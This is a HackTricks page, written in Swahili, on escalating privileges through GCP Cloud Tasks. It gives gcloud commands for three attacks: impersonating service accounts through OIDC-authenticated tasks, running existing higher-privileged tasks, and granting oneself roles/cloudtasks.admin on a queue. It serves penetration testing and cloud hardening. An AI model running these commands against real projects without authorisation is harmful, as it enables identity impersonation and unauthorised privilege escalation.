GCP - Cloud Tasks Privesc

Reading time: 3 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Cloud Tasks

cloudtasks.tasks.create, iam.serviceAccounts.actAs

Mshambuliaji mwenye ruhusa hizi anaweza kujifanya kuwa akaunti nyingine za huduma kwa kuunda kazi zinazotekelezwa kwa utambulisho wa akaunti ya huduma iliyotajwa. Hii inaruhusu kutuma maombi ya HTTP yaliyothibitishwa kwa huduma za Cloud Run au Cloud Functions zilizo na ulinzi wa IAM.

bash
gcloud tasks create-http-task \
task-$(date '+%Y%m%d%H%M%S') \
--location us-central1 \
--queue <queue_name> \
--url 'https://<service_name>.us-central1.run.app' \
--method POST \
--header 'X-Hello: world' \
--body-content '{"hello":"world"}' \
--oidc-service-account-email <account>@<project_id>.iam.gserviceaccount.com

cloudtasks.tasks.run, cloudtasks.tasks.list

Mshambuliaji mwenye ruhusa hizi anaweza kuendesha kazi zilizopangwa zilizopo bila kuwa na ruhusa kwenye akaunti ya huduma inayohusishwa na kazi hiyo. Hii inaruhusu kuendesha kazi ambazo zilikuwa zimetengenezwa na akaunti za huduma zenye ruhusa za juu.

bash
gcloud tasks run projects/<project_id>/locations/us-central1/queues/<queue_name>/tasks/<task_id>

Msimamizi anayetekeleza amri hii hapahitaji ruhusa ya iam.serviceAccounts.actAs kwenye akaunti ya huduma ya kazi. Hata hivyo, hii inaruhusu tu kuendesha kazi zilizopo - haipati uwezo wa kuunda au kubadilisha kazi.

cloudtasks.queues.setIamPolicy

Mshambuliaji mwenye ruhusa hii anaweza kujipe mwenyewe au wengine majukumu ya Cloud Tasks kwenye foleni maalum, ambayo inaweza kupelekea kupanda hadi roles/cloudtasks.admin ambayo inajumuisha uwezo wa kuunda na kuendesha kazi.

bash
gcloud tasks queues add-iam-policy-binding \
<queue_name> \
--location us-central1 \
--member serviceAccount:<account>@<project_id>.iam.gserviceaccount.com \
--role roles/cloudtasks.admin

Hii inamruhusu mshambuliaji kutoa ruhusa kamili za usimamizi wa Cloud Tasks kwenye foleni kwa akaunti yoyote ya huduma wanayodhibiti.

Marejeleo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks